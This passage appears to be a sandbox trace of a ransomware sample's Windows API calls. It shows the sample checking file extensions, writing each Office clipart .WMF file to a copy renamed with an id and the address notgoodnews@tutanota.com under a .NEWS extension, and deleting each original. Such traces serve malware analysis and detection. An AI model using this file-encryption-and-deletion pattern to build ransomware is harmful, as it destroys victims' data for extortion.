4 [0086.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0086.881] lstrlenW (lpString=".zip") returned 4 [0086.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.881] lstrlenW (lpString=".rar") returned 4 [0086.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.881] lstrlenW (lpString=".bz2") returned 4 [0086.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.881] lstrlenW (lpString=".7z") returned 3 [0086.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0086.881] lstrlenW (lpString=".dbf") returned 4 [0086.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0086.882] lstrlenW (lpString=".1cd") returned 4 [0086.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0086.882] lstrlenW (lpString=".jpg") returned 4 [0086.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0086.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0086.882] lstrlenW (lpString=".doc") returned 4 [0086.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.882] lstrlenW (lpString=".docx") returned 5 [0086.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.882] lstrlenW (lpString=".pdf") returned 4 [0086.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.882] lstrlenW (lpString=".xls") returned 4 [0086.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.882] lstrlenW (lpString=".xlsx") returned 5 [0086.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.882] lstrlenW (lpString=".ppt") returned 4 [0086.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0086.882] lstrlenW (lpString=".zip") returned 4 [0086.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.882] lstrlenW (lpString=".rar") returned 4 [0086.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.882] lstrlenW (lpString=".bz2") returned 4 [0086.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.882] lstrlenW (lpString=".7z") returned 3 [0086.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0086.882] lstrlenW (lpString=".dbf") returned 4 [0086.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0086.882] lstrlenW (lpString=".1cd") returned 4 [0086.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0086.882] lstrlenW (lpString=".jpg") returned 4 [0086.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.883] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.883] lstrlenW (lpString="FD01660_.WMF") returned 12 [0086.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.883] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=12958) returned 1 [0086.883] CloseHandle (hObject=0x378) returned 1 [0086.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220 [0086.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.883] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.883] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0086.884] GetLastError () returned 0x0 [0086.884] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x329e, lpOverlapped=0x0) returned 1 [0086.885] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x32a0, lpOverlapped=0x0) returned 1 [0086.886] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.886] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.887] SetEndOfFile (hFile=0x38c) returned 1 [0086.887] CloseHandle (hObject=0x38c) returned 1 [0086.887] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.887] SetEndOfFile (hFile=0x378) returned 1 [0086.888] CloseHandle (hObject=0x378) returned 1 [0086.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0086.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0086.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0086.888] lstrlenW (lpString=".doc") returned 4 [0086.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.888] lstrlenW (lpString=".docx") returned 5 [0086.888] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.888] lstrlenW (lpString=".pdf") returned 4 [0086.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.888] lstrlenW (lpString=".xls") returned 4 [0086.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.888] lstrlenW (lpString=".xlsx") returned 5 [0086.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.888] lstrlenW (lpString=".ppt") returned 4 [0086.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0086.888] lstrlenW (lpString=".zip") returned 4 [0086.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.889] lstrlenW (lpString=".rar") returned 4 [0086.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.889] lstrlenW (lpString=".bz2") returned 4 [0086.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.889] lstrlenW (lpString=".7z") returned 3 [0086.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0086.889] lstrlenW (lpString=".dbf") returned 4 [0086.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0086.889] lstrlenW (lpString=".1cd") returned 4 [0086.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0086.889] lstrlenW (lpString=".jpg") returned 4 [0086.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0086.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0086.889] lstrlenW (lpString=".doc") returned 4 [0086.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.889] lstrlenW (lpString=".docx") returned 5 [0086.889] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.889] lstrlenW (lpString=".pdf") returned 4 [0086.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.889] lstrlenW (lpString=".xls") returned 4 [0086.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.889] lstrlenW (lpString=".xlsx") returned 5 [0086.889] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.889] lstrlenW (lpString=".ppt") returned 4 [0086.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0086.889] lstrlenW (lpString=".zip") returned 4 [0086.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.889] lstrlenW (lpString=".rar") returned 4 [0086.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.889] lstrlenW (lpString=".bz2") returned 4 [0086.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.890] lstrlenW (lpString=".7z") returned 3 [0086.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0086.890] lstrlenW (lpString=".dbf") returned 4 [0086.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0086.890] lstrlenW (lpString=".1cd") returned 4 [0086.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0086.890] lstrlenW (lpString=".jpg") returned 4 [0086.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.890] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.890] lstrlenW (lpString="FD02068_.WMF") returned 12 [0086.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.890] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2488) returned 1 [0086.890] CloseHandle (hObject=0x378) returned 1 [0086.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220 [0086.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.891] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.891] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0086.891] GetLastError () returned 0x0 [0086.891] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0086.892] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0086.893] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.893] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.893] SetEndOfFile (hFile=0x38c) returned 1 [0086.894] CloseHandle (hObject=0x38c) returned 1 [0086.894] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.894] SetEndOfFile (hFile=0x378) returned 1 [0086.894] CloseHandle (hObject=0x378) returned 1 [0086.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0086.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0086.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0086.895] lstrlenW (lpString=".doc") returned 4 [0086.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.895] lstrlenW (lpString=".docx") returned 5 [0086.895] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.895] lstrlenW (lpString=".pdf") returned 4 [0086.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.895] lstrlenW (lpString=".xls") returned 4 [0086.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.895] lstrlenW (lpString=".xlsx") returned 5 [0086.895] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.895] lstrlenW (lpString=".ppt") returned 4 [0086.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0086.896] lstrlenW (lpString=".zip") returned 4 [0086.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.896] lstrlenW (lpString=".rar") returned 4 [0086.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.896] lstrlenW (lpString=".bz2") returned 4 [0086.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.896] lstrlenW (lpString=".7z") returned 3 [0086.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0086.896] lstrlenW (lpString=".dbf") returned 4 [0086.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0086.896] lstrlenW (lpString=".1cd") returned 4 [0086.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0086.896] lstrlenW (lpString=".jpg") returned 4 [0086.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0086.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0086.896] lstrlenW (lpString=".doc") returned 4 [0086.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.896] lstrlenW (lpString=".docx") returned 5 [0086.896] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.896] lstrlenW (lpString=".pdf") returned 4 [0086.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.896] lstrlenW (lpString=".xls") returned 4 [0086.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.896] lstrlenW (lpString=".xlsx") returned 5 [0086.896] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.896] lstrlenW (lpString=".ppt") returned 4 [0086.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0086.896] lstrlenW (lpString=".zip") returned 4 [0086.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.897] lstrlenW (lpString=".rar") returned 4 [0086.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.897] lstrlenW (lpString=".bz2") returned 4 [0086.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.897] lstrlenW (lpString=".7z") returned 3 [0086.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0086.897] lstrlenW (lpString=".dbf") returned 4 [0086.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0086.897] lstrlenW (lpString=".1cd") returned 4 [0086.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0086.897] lstrlenW (lpString=".jpg") returned 4 [0086.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.897] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.897] lstrlenW (lpString="FD02071_.WMF") returned 12 [0086.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.897] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2188) returned 1 [0086.897] CloseHandle (hObject=0x378) returned 1 [0086.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x220 [0086.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.898] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.898] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0086.898] GetLastError () returned 0x0 [0086.898] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x88c, lpOverlapped=0x0) returned 1 [0086.899] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x890, lpOverlapped=0x0) returned 1 [0086.900] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.900] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.901] SetEndOfFile (hFile=0x38c) returned 1 [0086.901] CloseHandle (hObject=0x38c) returned 1 [0086.901] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.901] SetEndOfFile (hFile=0x378) returned 1 [0086.902] CloseHandle (hObject=0x378) returned 1 [0086.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0086.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0086.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0086.902] lstrlenW (lpString=".doc") returned 4 [0086.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.902] lstrlenW (lpString=".docx") returned 5 [0086.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.902] lstrlenW (lpString=".pdf") returned 4 [0086.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.902] lstrlenW (lpString=".xls") returned 4 [0086.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.902] lstrlenW (lpString=".xlsx") returned 5 [0086.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.902] lstrlenW (lpString=".ppt") returned 4 [0086.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0086.902] lstrlenW (lpString=".zip") returned 4 [0086.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.902] lstrlenW (lpString=".rar") returned 4 [0086.902] lstrcmpiW (lpString1=".rar", 